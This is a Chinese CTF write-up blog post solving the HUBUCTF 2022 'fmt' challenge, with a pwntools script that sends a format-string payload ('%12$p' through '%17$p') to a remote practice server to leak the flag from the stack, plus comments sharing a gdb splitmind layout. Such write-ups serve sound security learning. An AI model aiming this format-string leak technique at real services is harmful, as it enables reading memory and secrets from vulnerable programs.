0%

[HUBUCTF 2022 新生赛]fmt

2025-06-11 20:00By
Ph03n1xRt
格式化字符串IO

Problem: [HUBUCTF 2022 新生赛]fmt

思路

gdb 调试发现flag在%12$p
NSSIMAGE

使用pwntools 写脚本发现一次只能读八位flag,依次递增%n$p发现到17的时候读完

EXP

from  pwn import *
context(arch='amd64', os='linux',log_level='debug')

io = remote('node5.anna.nssctf.cn', 29325)


def reverse_two_chars_and_convert(hex_str):
    if isinstance(hex_str, bytes):
        hex_str = hex_str.decode('utf-8').rstrip("\n")
    if len(hex_str) % 2 != 0:
        hex_str = '0' + hex_str
    grouped = [hex_str[i:i+2] for i in range(0, len(hex_str), 2)]
    reversed_group = grouped[::-1]
    reversed_str = ''.join(reversed_group)
    byte_data = bytes.fromhex(reversed_str)
    result_str = byte_data.decode('utf-8')
    return result_str


payload = b"%12$p%13$p%14$p%15$p%16$p%17$p" # gdb调试发现flag在%12$p,一次读八位

io.sendlineafter(b"service\n",payload)

flag = io.recvline()

flag = flag.split(b'0x')

for i in range(1,7):
    print(reverse_two_chars_and_convert(flag[i]),end="")

总结

$s 把将栈上的值当成地址,然后去这个地址这里找字符串。

$p 直接读栈上的值

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论

师傅可以分享一下你的gdb是如何设置的吗?怎么做到给不同的部分指定分区的?

我q:NTI5MzE2OTUw😁

参考看雪文章:https://github.com/jerdna-regeiz/splitmind

我根据个人喜好自己调整了布局,调整如下

python
import splitmind
(splitmind.Mind()
  .tell_splitter(show_titles=True)
  .tell_splitter(set_title="Main")
  .right(display="stack", size="45%")
  .above(display="legend", size="50%")
  .show("regs", on="legend")
  .above(of="main",display="disasm", size="70%")
  .below(of="disasm",display="backtrace", size="20%")
  .show("code", on="disasm", banner="none")
).build(nobanner=True)
end

参考看雪文章:https://bbs.kanxue.com/thread-276203.htm

我根据个人喜好自己调整了布局,调整如下

python
import splitmind
(splitmind.Mind()
  .tell_splitter(show_titles=True)
  .tell_splitter(set_title="Main")
  .right(display="stack", size="45%")
  .above(display="legend", size="50%")
  .show("regs", on="legend")
  .above(of="main",display="disasm", size="70%")
  .below(of="disasm",display="backtrace", size="20%")
  .show("code", on="disasm", banner="none")
).build(nobanner=True)
end

感谢回复🙏